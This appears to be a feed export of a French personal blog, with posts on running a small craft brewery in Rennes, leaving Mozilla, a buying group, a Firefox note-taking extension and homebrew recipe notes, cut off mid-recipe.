Carnets en lignehttps://blog.notmyidea.org/2019-07-03T00:00:00+02:00Ours2019-07-03T00:00:00+02:002019-07-03T00:00:00+02:00tag:blog.notmyidea.org,2019-07-03:/ours.html<p>J'ai de plus en plus de mal à garder mon calme dans les situations ou je
rencontres des humains qui ont des comportements que je trouve déplacés. Je me demande à quel point le fait d'être maintenant un commerçant impacte ma
capacité relationnelle générale.</p>
<p>De manière plus large, est-ce normal …</p><p>J'ai de plus en plus de mal à garder mon calme dans les situations ou je
rencontres des humains qui ont des comportements que je trouve déplacés. Je me demande à quel point le fait d'être maintenant un commerçant impacte ma
capacité relationnelle générale.</p>
<p>De manière plus large, est-ce normal de tolérer des comportements qu'on estime anormaux, voire immoraux ? Quand est-ce que la tolérance laisse place a de l'acceptation de comportements problématiques ?</p>
<p>Suis-je en train de devenir un ours ?</p>Vélo2019-06-27T00:00:00+02:002019-06-27T00:00:00+02:00tag:blog.notmyidea.org,2019-06-27:/velo.html<p>Depuis quelques semaines j'ai décidé d'utiliser le vélo pour aller au boulot. Pas forcement tous les jours, mais dès que les conditions le permettent je n'hésite pas.</p>
<p>C'est un vrai plaisir de se déplacer en deux roues, en quasiment silence. Le trajet mets pas loin de 35mn et passe par …</p><p>Depuis quelques semaines j'ai décidé d'utiliser le vélo pour aller au boulot. Pas forcement tous les jours, mais dès que les conditions le permettent je n'hésite pas.</p>
<p>C'est un vrai plaisir de se déplacer en deux roues, en quasiment silence. Le trajet mets pas loin de 35mn et passe par un parc sur la fin, c'est un vrai moment de relaxation, et qui me permet de faire une jonction entre ma vie personnelle et le taf à la brasserie.</p>Un espace des communs Rennais ?2019-06-26T00:00:00+02:002019-06-26T00:00:00+02:00tag:blog.notmyidea.org,2019-06-26:/un-espace-des-communs-rennais.html<p><em>Ce document se veut surtout être quelques notes, et donc revêt un caractère « fouilli » paaaarfaitement assumé. D’ailleurs, ce n'est que ce que j'ai bien voulu retenir. Voilà.</em></p>
<p>Je ressors d'une discussion avec quelques complices autour de deux idées :
1. Avoir un espace pour fédérer différentes personnes intéressées par le …</p><p><em>Ce document se veut surtout être quelques notes, et donc revêt un caractère « fouilli » paaaarfaitement assumé. D’ailleurs, ce n'est que ce que j'ai bien voulu retenir. Voilà.</em></p>
<p>Je ressors d'une discussion avec quelques complices autour de deux idées :
1. Avoir un espace pour fédérer différentes personnes intéressées par le sujet des <em>communs</em>;
2. Monter une structure Rennaise pour proposer de l’hébergement de services web.</p>
<p>Élaborons un peu...</p>
<h2>1. Un espace pour fédérer</h2>
<p>L'idée qui à été développée est celle d'avoir un espace (un ou des lieux, à différents moments dans l'année) pour que les rencontres entre les projets <em>du libre</em> à Rennes puissent se dérouler. Le constat est qu'il existe différentes structures actuellement en place, mais que a) certaines personnes ne se retrouvent pas dans ces espaces et b) la porosité entre ces différents groupes est assez faible.</p>
<p>Pour l'instant pas d'idée précise de ce qui pourrait être proposé, mais quelques pistes ont été évoquées. l'envie est de faire un document d'intention et de proposer à d'autres de rejoindre le collectif en création.</p>
<h3>Fréquence</h3>
<p>Deux pistes ont été évoquées:</p>
<ul>
<li>
<p><strong>Faire des rencontres suffisamment espacées les unes des autres</strong>, pour que leur caractère « exceptionnel » soit une force. Si la fréquence des réunions est assez faible, alors l'incitation pour y prendre part est peut-être plus grande ?</p>
</li>
<li>
<p>ou au contraire, <strong>avoir des rencontres avec une fréquence assez forte</strong>, pour qu'en cas d'incapacité à participer il n'y ait pas trop longtemps à attendre ?</p>
</li>
</ul>
<h3>Charte éthique</h3>
<p>Le fait d'avoir un <em>code de conduite</em> pour de tels évènements à été discuté, un des arguments évoqués étant le fait qu'un tel code n'est pas considéré nécessaire par certaines personnes, puisque les règles évoquées tiennent du bon sens.</p>
<p>Il a été précisé que l'établissement de ce type de document a pour objectif de:
- Faire que des minorités et/ou oppressés se sentent protégés et considérés, et donc bienvenues à ce type d'évènements;
- En cas de situations considérées comme problématiques, des personnes référentes soient désignées pour aider à leur résolution</p>
<h3>Gouvernance</h3>
<p>Le sujet de la gouvernance à été également abordé : pour avoir de tels rendez-vous, peu importe leur nature, il faut que ceux-cis soient organisés. La possibilité d'avoir des organisat·rices·eurs· tournantes à été proposé.</p>
<p>Pour :</p>
<ul>
<li>Cela permet de ne pas reposer uniquement sur quelques personnes;</li>
<li>Faire des fiches explicatives qui permettent à tou·te·s de s'impliquer</li>
</ul>
<p>Contre : </p>
<ul>
<li>Quand tout le monde est responsable, personne ne l'est.</li>
</ul>
<p>Peut-être que des solutions intermédiaires sont à trouver, en désignant d'une fois sur l'autre les personnes qui s’occupent du prochain rendez-vous, par exemple.</p>
<h2>2. Hébergement de services Web</h2>
<p>On a discuté très rapidement de la possibilité de monter une structure pour faire de l’hébergement de services web sur Rennes. Le sujet n'a pas été vraiment développé, mais la question de la relation entre avoir un espace pour fédérer (le 1.) et être un hébergeur de service (le 2.) a été rapidement abordé.</p>
<p>Faut-il avoir une seule et même structure / groupe de personnes pour ces deux projets ? Dans le cas ou l'un s'arrête, entraînerait-il l'autre dans sa « chute » ? Est-il logique de lier les deux ?</p>
<h2>Et donc ?</h2>
<p>Et donc c'était bien chouette de prendre un peu le temps de remettre le nez dans la vie libriste Rennaise ! Ravi de voir une dynamique prendre forme, on verra bien ou ça mène :-)</p>Brasserie - petit bilan, après un an d’existence2019-05-21T00:00:00+02:002019-05-21T00:00:00+02:00tag:blog.notmyidea.org,2019-05-21:/un-an.html<h1>La brasserie du Vieux Singe a un an !</h1>
<p>On a l'impression que c'était hier tellement le temps passe vite, mais ça fait un an que notre brasserie existe !</p>
<p>Alors on lève un peu la tête du guidon question de voir ce qu'on a accompli durant cette première année, et de …</p><h1>La brasserie du Vieux Singe a un an !</h1>
<p>On a l'impression que c'était hier tellement le temps passe vite, mais ça fait un an que notre brasserie existe !</p>
<p>Alors on lève un peu la tête du guidon question de voir ce qu'on a accompli durant cette première année, et de faire un petit bilan :-)</p>
<h2>Quelques dates & chiffres</h2>
<p>Pour se donner un peu de perspective, voici quelques dates clés de cette première année :</p>
<ul>
<li>Novembre 2017 : immatriculation de l'entreprise</li>
<li>Décembre 2017 : on a les clés !</li>
<li>Décembre 2017 à Mars 2018 : travaux, installation et divers bricolages</li>
<li>Mars 2018 : premier brassin</li>
<li>Mai 2018 : premières ventes !</li>
<li>Août 2018 : vacances :-)</li>
<li>Septembre 2018 : inauguration de la brasserie & premier brassin unique</li>
<li>Décembre 2018 : second brassin unique</li>
<li>Mars 2019 : on se rémunère !</li>
</ul>
<p>Au moment d’écrire ces lignes, à la mi Mai 2019, on en est à notre 43ème brassin, on a travaillé sur 4 nouvelles bières, on a dû laver pas loin de 300 fûts, ouverts 700 sacs de malt… et on vous a fait boire la tasse ;-)</p>
<p>Petit retour en arrière…</p>
<h2>Travaux & installation</h2>
<p>En arrivant dans nos locaux, on a d’abord dû réaliser quelques travaux d’aménagement : une grande partie de l'espace était utilisé en bureaux or on a surtout besoin de place dans la partie « prod ».</p>
<p>On a rajouté à notre local une tranchée pour l’évacuation des eaux usées, une chambre chaude pour la refermentation en bouteilles, ainsi que quelques gros points d’électricité et de plomberie (circuit de refroidissement des fermenteurs et plusieurs arrivées d’eau).</p>
<p>On a profité d’être sur une zone artisanale pour récupérer quelques palettes perdues chez nos voisins et les transformer en bar, tabourets et étagères, question de pouvoir vous accueillir de manière un peu sympathique !</p>
<p><img alt="Photo du bar" src="/images/un-an/bar.jpg"></p>
<p>Une fois les travaux d’aménagements terminés, on a reçu les cuves. Un moment très attendu (et un peu flippant, oui). On a d’abord reçu les fermenteurs, debout, qu’on a pu décharger au chariot élévateur, puis les cuves de brassage, la ligne d’embouteillage et enfin notre cuve de ressucrage et carbonatation. Cette dernière est arrivée couchée, on a donc du la relever à l’aide d’une grue. Vous voyez les gouttes de sueur perler sur nos fronts ?</p>
<p><img alt="Photo du levage du fermenteur avec la grue" src="/images/un-an/dechargement.jpg"></p>
<p>Quasiment aucun problème pour décharger les fermenteurs, au final. Le plus difficile a été le déchargement de notre ligne d’embouteillage, assez lourde, pour laquelle on a eu quelques déconvenues. On a la chance d’avoir sur la zone <a href="https://www.jfblevage.fr/">une entreprise de levage très arrangeante</a> qui nous a permis de décharger ça correctement, nous enlevant une belle épine du pied.</p>
<p>A peine les fermenteurs installés, on réceptionnait les cuves de brassage. Les Anglais de <a href="https://www.pbcbreweryinstallations.com/">PBC</a> sont venus sur place pour terminer l’installation et nous assister sur notre premier brassin sur cette nouvelle brasserie dont on est plutôt satisfaits.
L'avantage de ce matériel c'est que c'est la 2CV du brasseur : tout est manuel et facile à démonter & remplacer en cas de soucis (ce qu'on a pas tardé à vérifier !)</p>
<h2>Premiers brassins</h2>
<p>Sur nos premiers brassins, on a décidé d’utiliser la brasserie à la moitié de sa capacité. Après tout, la moitié c'était déjà dix fois plus gros que ce qu'on avait l'habitude de faire jusqu'alors avec notre petite brasserie 100L.</p>
<p>On est donc partis sur des brassins de 800 litres. Les premiers brassins se sont vraiment bien déroulés : 7 heures de brassage & nettoyage pour 800L de moût.</p>
<p>Au moment de passer nos recettes à l'échelle, on a quand même fait quelques petits changements techniques, dont je vous passe les détails ici.</p>
<p>Et puis, au fur et à mesure de l’année, les recettes et procédés pour nos bières « permanentes » ont un peu bougé également (modification de l'eau de brassage, changement des temps & températures pour l'ajout du houblon lors du <em>dry hopping</em>)</p>
<h2>Préventes, puis ventes</h2>
<p>En parallèle du brassage, on faisait nos premières ventes avec notre système de préventes en ligne.</p>
<p>Le deal était assez simple : vous achetez les bières avant qu'elles ne soit brassées, et vous passez les chercher à la brasserie une fois prêtes.</p>
<p>Double avantage pour nous : une avance de trésorerie non négligeable (on a vendu nos trois premiers brassins en vente directe !) et la possibilité de faire visiter la brasserie quand les gens passent chercher leurs bières : un bon moyen de se rencontrer.</p>
<p>Notre retour sur ces préventes est vraiment positif. </p>
<p>Une fois les premiers brassins terminés, et les préventes écoulées, il fallait commencer à mettre en place un circuit de distribution pour les gens qui ne viennent pas nous voir à la brasserie.</p>
<p>Et là, <em>le double effet kiss-cool</em> de notre campagne de préventes : le bouche-à-oreilles a fait que des clients nous ont appelé directement avec l'envie de travailler avec nous ! Résultat : on se retrouve aujourd'hui avec un maillage de petits et moyens clients qui nous commandent de la bière plus ou moins régulièrement.</p>
<p>On est hyper contents de travailler avec autant de clients atypiques qui font vivre un monde qui nous parle : plusieurs cafés associatifs, des festivals engagés, des magasins de producteurs, des épiceries associatives, des groupements d’achats. On n'aurait vraiment pas rêvé mieux !</p>
<p>On a également trois petites tireuses et des gobelets, qui nous permettent de vendre des fûts à des particuliers et associations pour des petits évènements.</p>
<p>En plus de ces ventes directes, on a fait le choix de passer par des petits distributeurs pour que notre bière se retrouve à des endroits où on ne va pas livrer (la Bretagne en dehors de l'Ille-et-Vilaine par ex).</p>
<p>On s'est également mis à travailler avec un transporteur pour faire des envois.</p>
<h2>Organisation du temps</h2>
<p>Autant pour fabriquer de la bière on avait un peu d’expérience, autant pour faire tourner une entreprise on avait tout à découvrir ! </p>
<p>On passe beaucoup de temps à faire les taches administratives (téléphone, ordinateur) qu’on n'avait pas imaginées à l’origine. Ça représente environ la moitié de notre temps de travail !</p>
<p>Au final, on ne travaille tous les deux ensemble qu'assez rarement : on alterne sur la <em>production</em> (brassage, mise en bouteilles, mise en fûts, et surtout nettoyage !) d’une semaine sur l’autre ; et quand on n'est pas « de prod », on s’est réparti les tâches administratives : Fred s’occupe de la partie comptabilité et des fournisseurs ; Alexis des ventes, de la communication et de la gestion du stock.</p>
<p>En pratique ça fonctionne plutôt bien, on se fait un (indispensable !) point de synchronisation tous les lundi matin, pour lequel il faut compter au moins 3h.</p>
<p>Le problème, c’est qu’on reste un peu la tête dans le guidon. On essaie bien de prendre du recul, mais le boulot, lui, n’attend pas !</p>
<p>Et c’est là que les vacances prennent tout leur sens. Une des forces d’être à Rennes c’est qu’au mois d’Août, il ne se passe absolument rien. Le pied ! Allez hop, en vacances !</p>
<h2>La place de l’expérimentation</h2>
<p>Pour nous, faire de la bière est aussi un moyen d’expérimenter. Expérimentations qui parfois débouchent sur des brassins uniques, quand on trouve que ça vaut le coup (ou quand on teste direct en gros !)</p>
<p>Et quand on passe des tests à l’échelle, (de 20L à 1500L), on est moyennement rassurés !</p>
<p>Après quelques brassins validés, on est un peu plus relax sur le sujet, et on a mis en place de quoi faire des expérimentations à petite échelle de manière simple : vu qu'on produit du moût toutes les semaines, on en utilise une partie pour faire quelques tests : changement de levure, adjonctions, changement des températures de fermentation, etc.</p>
<p>Ah ça, c’est pas les idées qui nous manquent :-) Et c'est une super manière d'expérimenter.</p>
<p><img alt="Étiquette de la Sobacha, une lager avec une infusion de sarrasin torréfié" src="/images/experimentations/sobacha.png"></p>
<p><img alt="Étiquette de Monstrueuse Normalité, une New England IPA" src="/images/experimentations/monstrueuse-normalite.png"></p>
<p><img alt="Étiquette de Chaînon Manquant, une Sour Pale Ale avec du Kiwi" src="/images/experimentations/chainon-manquant.png"></p>
<h2>Ouverture au public, évènements et équilibre</h2>
<p>On a pris le parti d'ouvrir le magasin toutes les fins de semaine (le jeudi et vendredi de 17h à 19h) et on est hyper contents de faire visiter la brasserie aux personnes qui passent de temps à autre. Pour nous, ça fait partie des plaisirs du métier. Par contre, on avait clairement sous estimé le temps que ça nous prendrait. On accueille beaucoup et les gens sont curieux. La fabrication de bière reste encore aujourd’hui quelque chose de nouveau pour la plupart, et il faut satisfaire cette curiosité (il faut plus de brasseries !).</p>
<p>Ce qui se passe en ce moment sur la scène brassicole est génial : beaucoup de nouvelles brasseries proposent des produits exceptionnels, et les évènements se multiplient aux quatre coins de la France. On adore partager, goûter, discuter, mais on ne pensait pas être autant sollicités par des évènements extérieurs, souvent sur des week-end, et parfois loin. <strong>On souhaite garder un équilibre entre notre vie personnelle et notre vie professionnelle</strong>. Aller aux évènements aussi par plaisir. Être partout est probablement un des maux de notre temps ;-) À force de voir des brasseurs exténués, il y a de quoi se poser des questions sur la pérennité sur le long terme d’un rythme aussi effréné.</p>
<p>Notre choix, c’est celui d’être fiers de nos bières, mais également celui de créer un outil pour nos vies (la brasserie) qui leur rende service. Penser son travail de cette manière nous permet de garder les pieds sur terre.</p>
<h2>Bref…</h2>
<p>…Voilà pour le petit tour d'horizon de cette année écoulée. Plein de super choses dans les mois à venir, on vous donne des nouvelles très bientôt !</p>De Mozilla à la Brasserie du Vieux Singe2018-05-27T00:00:00+02:002018-05-27T00:00:00+02:00tag:blog.notmyidea.org,2018-05-27:/de-mozilla-a-la-brasserie-du-vieux-singe.html<p><em>Ce weekend avait lieu <a href="https://sudweb.fr/2018/">SudWeb</a> « la conférence Web surtout humaine », ou on m'a proposé de venir parler de ma reconversion professionnelle, ou comment un passionné de Logiciels Libres choisit de créer une petite brasserie artisanale.</em></p>
<p><em>Certaines parties de ce que je voulais transmettre sont passées à la trappe, alors que …</em></p><p><em>Ce weekend avait lieu <a href="https://sudweb.fr/2018/">SudWeb</a> « la conférence Web surtout humaine », ou on m'a proposé de venir parler de ma reconversion professionnelle, ou comment un passionné de Logiciels Libres choisit de créer une petite brasserie artisanale.</em></p>
<p><em>Certaines parties de ce que je voulais transmettre sont passées à la trappe, alors que d'autres ont pris plus de place que prévu. J'avais donc envie de reprendre mes notes pour les transformer en billet de blog, question d'élaborer sur le sujet.</em></p>
<hr>
<p>J'ai toujours été motivé par mes passions. Quand j'ai commencé à travailler professionnellement, je me suis rendu compte que même si je faisais quasiment la même chose qu'auparavant, ça n'avait plus le même goût. J'étais maintenant <em>obligé</em> de le faire, et je n'en tirais pas le même plaisir.</p>
<p>Quand j'étais plus jeune au lycée j'écrivais des programmes en <em>Visual Basic</em> que je partageais en ligne sur mon site en <code>.free.fr</code>. Programmes que probablement personne n'a lu, mais l'intention était bel et bien celle de partager mes créations, et d'échanger à leur propos.</p>
<p>Cette culture du partage — celle du logiciel libre — est celle qui m'anime.</p>
<p>Quelques années plus tard, je découvre le langage de programmation Python, et avec lui toute une communauté, mue par ces mêmes valeurs de partage et d'amélioration de nos pratiques. Puis je rencontre le Logiciel Libre, avec l'écriture d'un programme (<a href="https://getpelican.com">pelican</a>) qui reste encore largement utilisé aujourd'hui. Autant dire que c'est une bonne claque que de voir des inconnus contribuer à un bout de code qu'eux aussi jugent utile.</p>
<p>À la fin de mes études, alors que je reste passionné par le développement logiciel, je ne veux ni travailler pour l'industrie, ni pour la finance. Je songe même déjà à cette époque à changer de métier (avant même d'avoir commencé !). Coup de bol, une structure qui m'est chère cherche des développeurs Python: Mozilla. Sans trop y croire, je passe une série d'entretiens qui se déroulent bien (!) et je commence quelques mois plus tard à travailler pour cette organisation incroyable, porteuse d'espoir et de toute une symbolique pour moi.</p>
<p>Je bosse sur du Logiciel Libre, en Python, en télétravail parfois, avec une bonne paie, sans parler du côté prestigieux. Grisant.</p>
<p>Mais au fur et à mesure je découvre l'envers du décors: une méritocratie ancrée et assumée, une hiérarchie de plus en plus importante, menant à une lourdeur administrative assez présente. À ajouter à la barrière de la langue, et aux différences culturelles. Finalement tout n'est pas rose ici.</p>
<p>Je décide alors de (je pense) faire un de mes meilleurs choix de vie à ce jour: passer aux 4/5èmes. Je récupère tous mes vendredis. Des weekends de 3 jours, toutes les semaines. Un espace précieux pour me reposer, et pour rêver un peu.</p>
<p>C'est à ce moment que Fred, un ami de longue date, en revenant du Québec (ou les brasseries sont légion), me propose de faire de la bière avec lui. Moi qui ne savais même pas qu'il était <em>possible</em> de faire de la bière. On tente donc l'expérience, et nos premières expériences sont des journées bien <em>funky</em>, à faire toutes les erreurs possibles.</p>
<p>Peu à peu, on découvre un nouveau monde: celui des brasseurs amateurs. De nouvelles compétences sont nécessaires, de la physique à la biochimie. On se met à rencontrer des professionnels, des passionnés, à échanger sur les forums. On se forme, petit à petit. Tout comme il y a la communauté des gens qui font du Python, il y a la communauté des gens qui font de la bière. Pas encore autant fédérés, ça semble balbutiant alors mais la passion elle est bien présente.</p>
<p>Tout comme le monde du Logiciel Libre est constitué autour d'un ennemi commun (les GAFA), le monde de la bière artisanale à la sien: les brasseries industrielles, qui uniformisent les goûts et les processus.</p>
<p>Je continue en parallèle mon travail chez Mozilla, pendant 4 années. Et puis un jour, une annonce d'arrêt d'un projet sur lequel je travaillais me fait réaliser que cette situation m'épuise. La fameuse goutte de trop.</p>
<p>Je décide alors de partir, de faire une pause, sans trop savoir ce que l'avenir me réserve. Une petite période de blanc de deux mois. Le regard des autres est parfois culpabilisant. Mes parents me demandent si « je ne veux pas attendre encore un peu ». La transition me fait peur, mais je choisis quand même de troquer mon confort matériel pour de la cohérence.</p>
<p>Petit à petit, l'idée de monter ce qui est maintenant devenu <a href="https://www.vieuxsinge.com">La Brasserie du Vieux Singe</a> se pose en évidence. Mais monter une brasserie ce n'est pas uniquement faire de la bière: c'est se mettre d'accord sur des valeurs, trouver comment les défendre, monter un projet pour, et tenir le cap.</p>
<p>Quelques mois après mon départ, on se retrouve donc à parler de ces valeurs de partage, de documentation, de goût. De gouvernance et de collaboration aussi.
Dans nos pratiques courantes, on décide d'intégrer du temps pour documenter la vie de la brasserie.</p>
<p>À titre d'exemple, nos étiquettes contiennent l'ensemble des ingrédients que l'on utilise de la manière la plus détaillée possible. On travaille aussi sur un projet de laveuse de fûts, qui sera publié sous licence libre, avec l'idée de pouvoir, petit à petit, constituer un ensemble d'outils utiles à tous les brasseurs, et peut être même réussir à favoriser les échanges entre toutes ces personnes.</p>
<p>Nous sommes deux brasseurs, deux chefs d'entreprise, mais aussi deux développeurs. Nos compétences de développeurs nous sont utiles quotidiennement: pour notre laveuse de fûts, pour nos créations de recettes (j'ai découvert la puissance des tableurs !), pour notre site de préventes, notre site Web, nos outils du quotidien. On se rend compte qu'il s'agit de compétences précieuses.</p>
<p>Mais monter une entreprise, c'est aussi assumer une partie administrative. Vous vous rappelez cette histoire de réactions face aux activités subordonnées ? Et bien quand je fais mes déclarations aux douanes, ce n'est pas de gaîté de cœur. Je sais par contre pourquoi je le fais: ce sont les règles du jeu. Des obligations, mais peut-être moins de coercition. J'y trouve plus de sens.</p>
<p>Et, si je n'avais pas réduit mon temps de travail, j'aurais peut-être loupé la découverte de ce nouveau monde, celui qui me passionne aujourd'hui.</p>
<p>Alors je vous invite à vous poser la question — indispensable — de vos valeurs: qu'est-ce que vous souhaitez faire ? Qu'est-ce qui vous anime ? Et peut-être à aménager du temps pour explorer vos envies. </p>Groupement d'achats & partage d'expérience2018-03-03T00:00:00+01:002018-03-03T00:00:00+01:00tag:blog.notmyidea.org,2018-03-03:/groupement-dachats-partage-dexperience.html<p>Il y a quelques années, on s'est motivé entre copains copines pour créer un groupement d'achat.</p>
<p>L'idée est simple:</p>
<ul>
<li>commander en gros, pour faire baisser les prix</li>
<li>se passer d'intermédiaires et favoriser les circuits courts</li>
<li>aller à la rencontre des producteurs locaux et échanger</li>
</ul>
<p>Notre groupement dessert actuellement 18 foyers …</p><p>Il y a quelques années, on s'est motivé entre copains copines pour créer un groupement d'achat.</p>
<p>L'idée est simple:</p>
<ul>
<li>commander en gros, pour faire baisser les prix</li>
<li>se passer d'intermédiaires et favoriser les circuits courts</li>
<li>aller à la rencontre des producteurs locaux et échanger</li>
</ul>
<p>Notre groupement dessert actuellement 18 foyers et une 60aine de personnes.</p>
<p>Au fur et à mesure de la vie du groupement, on a développé quelques outils pour se simplifier la vie. Voici un retour d'expérience et quelques astuces / outils, au cas où l'envie vous prenne à vous aussi :)</p>
<h1>Organisation</h1>
<p>On organise environs trois ou quatre distributions par an. Le <em>modus operandi</em> est le suivant:</p>
<ul>
<li>chaque product·eur·rice à un·e référent·e, qui s'occupe de faire le lien;</li>
<li>une personne est désignée pour coordonner la distribution;</li>
<li>4 semaines avant la distribution, les référent·e·s mettent à jour les prix / produits dans le tableau de commandes;·e·</li>
<li>3 semaines avant la distribution, les commandes sont ouvertes;</li>
<li>2 semaines avant la distribution, les commandes sont closes;</li>
<li>Les référent·e·s ont ensuite deux semaines pour récupérer les commandes pour la distribution</li>
</ul>
<h1>Quels produits ?</h1>
<p>On essaye d'avoir uniquement des produits qui se conservent (on a également quelques autres produits plus frais, mais avec d'autres modalités).</p>
<p>Entre autres: bières, légumes secs, conserves, jus, miel, pâtes, semoule, café, vinaigres, pommes de terre, oignons, huiles, farines.</p>
<p>On essaye de faire du local puis du bio au plus proche plutôt que de trouver nécessairement les prix les plus bas. C'est une discussion qui revient assez
souvent, et donc un point à évoquer lors de la création pour avoir une posture
claire sur le sujet (tout le monde n'est pas animé par la même éthique !).</p>
<h1>Paiements</h1>
<p>Pour les paiements, on utilise autant que possible des chèques. Chaque référent·e paye la·le product·rice·eur en son nom, et lui demande d'attendre la date de la distribution pour l'encaissement. La plupart des producteurs acceptent d'être payés sous quinzaine.</p>
<p>Le jour de la distribution, tout le monde apporte son chéquier. Nous avons mis
en place une moulinette qui s'occupe de faire la répartition des chèques automatiquement, chaque membre se retrouve à faire en moyenne un ou deux chèques.</p>
<p>Chaque référent·e est ainsi remboursé·e de la somme avancée, et chaque
membre du groupement d'achat paye ce qu'il doit payer. Nous n'avons
volontairement pas de structure juridique et pas de compte en banque. Les
paiements s'effectuent directement entre nous.</p>
<h1>Transports</h1>
<p>Chaque référent·e commande les produits, puis ensuite s'occupe de les rapatrier. À Rennes, on a la chance d'avoir pas mal de producteurs aux alentours, donc c'est assez simple.</p>
<p>Le mieux est de ramener les produits juste un peu avant la distribution au lieu de distribution, ça permet d'éviter de les stocker trop longtemps, et d'éviter aux producteurs d'attendre trop longtemps avant d'encaisser les chèques.</p>
<p>Pour les grosses commandes, les voitures se remplissent bien, mais ma petite Clio suffit, que ce soit dit !</p>
<h1>La distribution</h1>
<p>Un peu en amont de la distribution, il faut organiser l'espace. Des tas par membre sont constitués pour faciliter les choses le jour de la distribution.</p>
<p>Le jour même, on se retrouve, on charge ses marchandises, on échange quelques chèques et on papote ! On en profite pour:</p>
<ul>
<li>discuter de la date de la prochaine distribution;</li>
<li>trouver une nouvelle personne pour la coordonner;</li>
<li>discuter de nouveaux produits;</li>
<li>refaire le monde;</li>
<li>changer de référents pour les producteurs.</li>
</ul>
<p>Et c'est reparti pour un tour ;)</p>
<h1>Nos outils</h1>
<p>On utilise un tableur en ligne pour partager les prix et prendre les commandes. On a essayé d'utiliser <em>ethercalc</em> au début mais ça ne fonctionnait pas pour nous à l'époque (trop de petits bugs). On a donc préféré utiliser Google docs (ouch).</p>
<p>Il est d'ailleurs possible d'y intégrer de nouvelles fonctionnalités assez facilement, du coup Fred et Rémy ont planché sur un moyen d'automatiser la répartition des chèques (qu'on faisait dans un premier temps à la main - assez péniblement).</p>
<p>Le système n'est pas parfait mais fonctionne quand même assez bien !</p>
<p>Quelques ressources, donc:</p>
<ul>
<li><a href="https://gist.github.com/almet/8c77fafc9e487c02ded852ec4a91ae16">le code pour faire la répartition des chèques</a></li>
<li><a href="https://docs.google.com/spreadsheets/d/1bnPRSvf2Q2RDxKerWnEqUyJjuCFePnVMq6pWo8LeA_k/edit?usp=sharing">une version « à remplir » de notre tableau de commandes</a> (le mieux est d'en faire une copie !).</li>
</ul>
<p>Bon groupement d'achat ;)</p>Webnotes2018-02-25T00:00:00+01:002018-02-25T00:00:00+01:00tag:blog.notmyidea.org,2018-02-25:/webnotes.html<p>Quand je navigue en ligne, j'aime bien prendre des notes sur ce que je lis. C'est utile pour les retrouver plus tard. Il existe quelques outils pour ce genre de cas, mais j'ai vraiment eu du mal à trouver un outil qui faisais ce que je voulais, de la manière …</p><p>Quand je navigue en ligne, j'aime bien prendre des notes sur ce que je lis. C'est utile pour les retrouver plus tard. Il existe quelques outils pour ce genre de cas, mais j'ai vraiment eu du mal à trouver un outil qui faisais ce que je voulais, de la manière que je voulais, c'est à dire:</p>
<ul>
<li>enregistrer une sélection de texte ainsi que son contexte: heure, site web.</li>
<li>fonctionner sur Firefox;</li>
<li>stocker mes notes à un endroit que je contrôle (ce sont mes données, après tout !)</li>
<li>rester en dehors de mon chemin: je suis en train de lire, pas en train d'organiser mes notes.</li>
<li>automatiquement partager les notes sur une page web.</li>
</ul>
<p>J'ai donc pris un peu de temps pour fabriquer mon outil de prises de notes, que j'ai baptisé « Webnotes ». C'est <a href="https://addons.mozilla.org/en-US/firefox/addon/wwebnotes/">une extension Firefox</a>, qui se configure assez simplement, et qui stocke les données dans une instance de <a href="http://kinto-storage.org/">Kinto</a>.</p>
<p><img src="https://github.com/almet/webnotes/blob/master/webnotes.gif?raw=true" /></p>
<p>C'est aussi simple que sélectionner du texte, faire « clic droit » puis « save as webnote », entrer un tag et le tour est joué !</p>
<p>Mes notes sont disponibles <a href="https://notes.notmyidea.org">sur notes.notmyidea.org</a>, et voici <a href="https://github.com/almet/webnotes">le lien vers les sources</a>, si ça vous intéresse de regarder comment ça fonctionne !</p>Faire moins2018-02-19T00:00:00+01:002018-02-19T00:00:00+01:00tag:blog.notmyidea.org,2018-02-19:/faire-moins.html<p>L'an dernier, j'ai décidé de faire moins de choses, ou plus exactement d'arrêter de faire de nouvelles choses. Choix assez difficile: j'aime découvrir de nouvelles pratiques, échanger sur des sujets que je connais pas, et surtout je crois que découvrir de nouvelles pratiques (sans nécessairement creuser un sujet en particulier …</p><p>L'an dernier, j'ai décidé de faire moins de choses, ou plus exactement d'arrêter de faire de nouvelles choses. Choix assez difficile: j'aime découvrir de nouvelles pratiques, échanger sur des sujets que je connais pas, et surtout je crois que découvrir de nouvelles pratiques (sans nécessairement creuser un sujet en particulier) est l'occasion de contribuer à éviter notre société d'experts.</p>
<p>Le hic, c'est que trop, c'est trop. J'ai donc décidé d'arrêter, tout simplement, de faire de nouvelles choses, et puis avec le temps j'ai même arreté de faire des choses que j'avais commencé à faire (par exemple de l'escalade), me libérant du temps.</p>
<p>Enfin ! Je retrouve ce précieux temps. Je retrouve ces moments d'ennui. Oui, je comprends bien que ça puisse parraître fou de voir quelqu'un se réjouir de son ennui… Cet ennui me permet de creuser de nouvelles idées, de reprendre ce bouquin qu'on avait laissé tomber sans trop de raison.</p>
<p>Et surtout, c'est se retrouver à contrôler son engagement.</p>NEIPA #32017-12-29T00:00:00+01:002017-12-29T00:00:00+01:00tag:blog.notmyidea.org,2017-12-29:/neipa-3.html<p><em>Voici quelques prises durant un de mes brassins. L'idée est de pouvoir les relire et m'améliorer au fur et à mesure.</em></p>
<p>Test autour d'une New England Pale Ale; Cette fois ci avec du Mosaic et du Citra, durant une collab' avec Heiko.</p>
<h1>Objectifs:</h1>
<ul>
<li>Brasser une nouvelle NEIPA en appliquant les …</li></ul><p><em>Voici quelques prises durant un de mes brassins. L'idée est de pouvoir les relire et m'améliorer au fur et à mesure.</em></p>
<p>Test autour d'une New England Pale Ale; Cette fois ci avec du Mosaic et du Citra, durant une collab' avec Heiko.</p>
<h1>Objectifs:</h1>
<ul>
<li>Brasser une nouvelle NEIPA en appliquant les trouvailles des deux premières versions;</li>
<li>Hop stand de 40mn;</li>
<li>Contrôle du pH à 5.2;</li>
<li>Refroidissement dans l'évier;</li>
<li>Ajouter plus d'avoine;</li>
<li>Faire un mash out;</li>
<li>Augmenter un peu la quantité de grain.</li>
</ul>
<h1>Recette:</h1>
<p>DI: 1055 (atteint)
pH: 5.2 (5.4 mesuré)</p>
<h2>Grains:</h2>
<ul>
<li>75% de Pale Ale</li>
<li>12.5% de blé</li>
<li>12.5% flocons d'avoine</li>
</ul>
<h2>Houblons:</h2>
<ul>
<li>2g/L Mosaic (Hop Stand 40mn)</li>
<li>2g/L Citra (Hop Stand 40mn)</li>
<li>4g/L Citra à cru (en deux fois)</li>
<li>4g/L Mosaic à cru (en deux fois)</li>
</ul>
<h2>Eau:</h2>
<ul>
